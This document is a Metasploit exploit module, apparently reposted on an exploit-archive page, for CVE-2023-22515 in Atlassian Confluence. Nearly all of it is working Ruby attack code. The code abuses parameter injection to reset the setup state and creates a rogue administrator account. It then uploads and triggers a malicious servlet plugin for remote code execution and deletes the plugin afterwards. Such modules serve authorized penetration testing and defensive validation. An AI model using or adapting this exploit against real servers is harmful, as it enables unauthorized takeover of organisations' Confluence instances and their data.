Atlassian Confluence Unauthenticated Remote Code Execution

Related Vulnerabilities: cve-2023-22515   CVE-2023-22515  
Publish Date: 19 Oct 2023
                ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Retry
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Atlassian Confluence Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP
          parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for
          Java objects to be modified at run time. The exploit will create a new administrator user and upload a
          malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,
          8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # MSF Exploit & Rapid7 Analysis
        ],
        'References' => [
          ['CVE', '2023-22515'],
          ['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis'],
          ['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],
        ],
        'DisclosureDate' => '2023-10-04',
        'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default.
        'Targets' => [
          [
            'Automatic',
            {
              'Platform' => 'java',
              'Arch' => [ARCH_JAVA]
            }
          ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          # Note we cannot delete the admin user we create, as Confluence prevents a user deleting themself.
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        # By default Confluence listens for HTTP requests on TCP port 8090.
        Opt::RPORT(8090),
        # Confluence may have a non default base path, allow user to configure that here.
        OptString.new('TARGETURI', [true, 'Base path for Confluence', '/']),
        # The endpoint we target to trigger the vulnerability.
        OptString.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', 'server-info.action']),
        # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.
        OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])
    )

    return CheckCode::Unknown('Connection failed') unless res

    # Ensure target is a Confluence server by identifying an expected HTTP header.
    return CheckCode::Unknown('No \'X-Confluence-Request-Time\' header') unless res.headers.key? 'X-Confluence-Request-Time'

    if res.code == 200 && res.body
      # Pull out the version string from one of three known locations within the HTML.
      m = res.body.match(/ajs-version-number" content="(\d+\.\d+\.\d+)"/i)
      if m.nil?
        m = res.body.match(/Printed by Atlassian Confluence (\d+\.\d+\.\d+)/i)
        if m.nil?
          m = res.body.match(%r{<span id='footer-build-information'>(\d+\.\d+\.\d+)</span>}i)
        end
      end

      unless m.nil?
        version = Rex::Version.new(m[1])

        ranges = [
          ['8.0.0', '8.3.2'],
          ['8.4.0', '8.4.2'],
          ['8.5.0', '8.5.1']
        ]

        # If we have a Confluence server within the given version ranges, it appears vulnerable.
        ranges.each do |min, max|
          if version.between?(Rex::Version.new(min), Rex::Version.new(max))
            return Exploit::CheckCode::Appears("Atlassian Confluence #{version}")
          end
        end

        # By here we know we have a confluence server, but the version found indicates it is safe.
        return Exploit::CheckCode::Safe("Atlassian Confluence #{version}")
      end
    end

    # By here we have identified a Confluence server, but could not get the version number to determine if it is
    # vulnerable of not.
    CheckCode::Detected
  end

  def exploit
    target_endpoint = normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])

    print_status("Setting the application configuration's setupComplete to false via endpoint: #{target_endpoint}")

    # 1. Leverage CVE-2023-22515 to modify a configuration setting, allowing us to reach the /setup/* endpoints.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => target_endpoint,
      'vars_post' => {
        'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'
      }
    )

    unless res&.code == 302 || res&.code == 200
      fail_with(Failure::UnexpectedReply, "Unexpected reply from endpoint: #{target_endpoint}")
    end

    print_status('Creating a new administrator user account...')

    # usernames must be lowercase
    admin_username = rand_text_alpha_lower(8)
    admin_password = rand_text_alphanumeric(8)

    # 2. Create a new administrator user account.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'setup', 'setupadministrator.action'),
      'headers' => {
        'X-Atlassian-Token' => 'no-check'
      },
      'vars_post' => {
        'username' => admin_username,
        'fullName' => rand_text_alphanumeric(8),
        # The email address does not need to be a valid address, but it must contain an @ character.
        'email' => "#{rand_text_alphanumeric(8)}@#{rand_text_alphanumeric(8)}",
        'password' => admin_password,
        'confirm' => admin_password,
        'setup-next-button' => 'Next'
      }
    )

    unless res&.code == 302 || res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/setupadministrator.action')
    end

    print_status("Created #{admin_username}:#{admin_password}")

    # 3. Force the setup to become completed, to allow normal Confluence operations to continue.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'setup', 'finishsetup.action'),
      'headers' => {
        'X-Atlassian-Token' => 'no-check'
      }
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/finishsetup.action')
    end

    print_status('Adding a malicious plugin...')

    # 4. Upload a new Confluence Servlet plugin, by first requesting a UPM token.
    res = send_request_cgi(
      'method' => 'GET',
      # Note, we concatenate '/' as this is required by the endpoint.
      'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',
      'headers' => {
        'Authorization' => basic_auth(admin_username, admin_password),
        'Accept' => '*/*'
      },
      'vars_get' => {
        'os_authType' => 'basic'
      }
    )

    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /rest/plugins/1.0/')
    end

    upm_token = res.headers['upm-token']
    unless upm_token
      fail_with(Failure::UnexpectedReply, 'No UPM token from endpoint: /rest/plugins/1.0/')
    end

    begin
      payload_endpoint = rand_text_alphanumeric(8)

      plugin_key = rand_text_alpha(8)

      # 5. Construct a malicious Servlet plugin JAR file. We set :random to true which will randomize the string
      # 'metasploit' in the class paths (via Rex::Zip::Jar::add_sub).
      jar = payload.encoded_jar(random: true)

      jar.add_file(
        'atlassian-plugin.xml',
        %(
<atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2">
  <plugin-info>
    <description>#{rand_text_alphanumeric(8)}</description>
    <version>#{rand(1024)}.#{rand(1024)}</version>
  </plugin-info>
  <servlet key="#{rand_text_alpha(8)}" class="#{jar.substitutions['metasploit']}.PayloadServlet">
    <url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern>
  </servlet>
</atlassian-plugin>)
      )

      jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class'))

      message = Rex::MIME::Message.new

      message.add_part(jar.pack, 'application/octet-stream', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8)}.jar\"")

      # 6. Upload the malicious plugin.
      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',
        'ctype' => 'multipart/form-data; boundary=' + message.bound,
        'headers' => {
          'Authorization' => basic_auth(admin_username, admin_password),
          'Accept' => '*/*'
        },
        'vars_get' => {
          'token' => upm_token
        },
        'data' => message.to_s
      )

      unless res&.code == 202
        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/')
      end

      unless res.body =~ %r{<textarea>(.+)</textarea>}
        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/')
      end

      begin
        plugin_json = JSON.parse(::Regexp.last_match(1))
      rescue JSON::ParserError
        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/')
      end

      # We receive a JSON object like this:
      # <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea>

      links_alternate = plugin_json&.dig('links', 'alternate')
      if links_alternate.nil?
        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/')
      end

      print_status('Waiting for plugin to be installed...')

      # 7. The plugin is installed asynchronously, so we poll the server for installation to be completed.
      plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, links_alternate)
        )

        # We receive a JSON result to indicate if the plugin is finished installing.
        # {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188}

        if res&.code == 200
          begin
            res_json = JSON.parse(res.body)
            next res_json['done']
          rescue JSON::ParserError
            next false
          end
        end

        false
      end

      unless plugin_ready
        fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.')
      end

      print_status('Triggering payload...')

      # 8. Trigger the payload by performing a request to the malicious servlet endpoint.
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint)
      )

      unless res&.code == 200
        fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")
      end
    ensure
      print_status('Deleting plugin...')

      # 9. Delete the plugin we uploaded as we no longer need it. We cannot delete the admin user we created as
      # Confluence doesnt allow a user to delete themself.
      res = send_request_cgi(
        'method' => 'DELETE',
        'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"),
        'headers' => {
          'Authorization' => basic_auth(admin_username, admin_password),
          'Connection' => 'close'
        }
      )

      unless res&.code == 204
        print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")
      end
    end
  end

end
<p>